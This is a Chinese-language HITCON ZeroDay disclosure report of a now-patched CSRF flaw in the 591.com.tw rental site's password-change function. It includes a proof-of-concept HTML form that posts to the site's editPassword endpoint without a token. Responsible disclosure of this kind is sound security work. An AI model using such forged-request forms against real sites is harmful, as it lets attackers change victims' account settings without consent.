591提供租屋 CSRF - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2019-00251
  •  發信 Vendor: 數字科技股份有限公司
  • Title: 591提供租屋 CSRF
  • Introduction: Cross-Site Request Forgery

處理狀態

目前狀態

公開
Last Update : 2019/03/26
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2019/03/15 19:58:13 : 新提交 (由 Noth 更新此狀態)
  • 2019/03/15 22:49:44 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/03/16 11:19:31 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/03/16 11:19:31 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/03/16 11:19:31 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/03/22 13:09:54 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/03/22 15:28:09 : 確認已修補 (由 Noth 更新此狀態)
  • 2019/03/26 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2019-00251
  • 通報者:Cake7528064 (Noth)
  • 風險:低
  • 類型:跨站冒名請求 (Cross-Site Request Forgery, CSRF)

參考資料

攻擊者可經由該漏洞惡意操控使用者帳號進行惡意行為。

漏洞說明: OWASP - Cross-Site Request Forgery (CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

防禦措施: OWASP - Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.591.com.tw/index.php?module=userCenter&action=newGuest

敘述

攻擊者能構造表單(Code) 進行CSRF攻擊
未有Token做驗證,導致此漏洞產生

PoC:
<html>
<head>
</head>
<body>
      <form name="frmeditinfo" id="frmeditinfo" action="https://www.591.com.tw/index.php?module=userCenter&action=editPassword" method="post" onsubmit="return checkEditPwdForm()">
        <table width="100%" cellSpacing=0 cellPadding=5  bgColor=#dddddd border=0>            
              <TBODY>   
                <TR bgcolor="#FFFFFF">
                  <TD height="10" align="right" class=blue3></TD>
                  <TD></TD>
                </TR>
                <TR bgcolor="#FFFFFF">
                  <TD height="30" align="right" class=blue3>會員帳號:</TD>
                  <TD>麥先生</TD>
                </TR>
                <TR bgcolor="#FFFFFF">
                  <TD width="155" height="30" align="right" class=blue3><span class="R">*</span>新密碼:</TD>
               <TD width="590"><input id="user.pwd" type="password" maxlength="20" size="18" name="user.pwd" onblur="checkPwds();" />                        
                 <span id="user.pwd_help" class="help_normal">密碼由6-20個英文字母(區分大小寫)或數字組成。</span>
                 </TD>
                </TR>
                <TR bgcolor="#FFFFFF">
                  <TD width="155" height="30" align="right" class=blue3><span class="R">*</span>再輸一次新密碼:</TD>
               <TD width="590"><input id="user.repwd" type="password" maxlength="20" size="18" name="user.repwd" onblur="checkPwds();" />
               <span id="user.repwd_help" class="help_normal">請再輸入一遍您上面輸入的密碼。</span>
               </TD>
                </TR>
                <TR bgcolor="#FFFFFF">
                  <TD width="155" height="30" align="right" class=blue3><span class="R">*</span>舊密碼:</TD>
               <TD width="590">
                       <input id="user.nowpwd" type="password" maxlength="20" size="18" name="user.nowpwd" onblur="checkEditNowpwd();" />
                        <span id="user.nowpwd_help" class="help_normal"></span>

               </TD>
                </TR>
                <TR bgcolor="#FFFFFF">
                  <TD height="30" align="center" class=small1013>&nbsp;</TD> 
                  <TD height="30" align="left" class=small1013><input type="hidden" name="module" id="module" value="user" />
                    <input type="hidden" name="action" id="action" value="editPassword" />
                    <input type="hidden" name="usernamesite" id="usernamesite" id="action" value="m-2585024" />
                    <input type="submit" value="修改密碼" name="enter" style="padding:2px 5px;" /></TD>
                </TR>
          </table>
          </form>
</body>
</html>

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;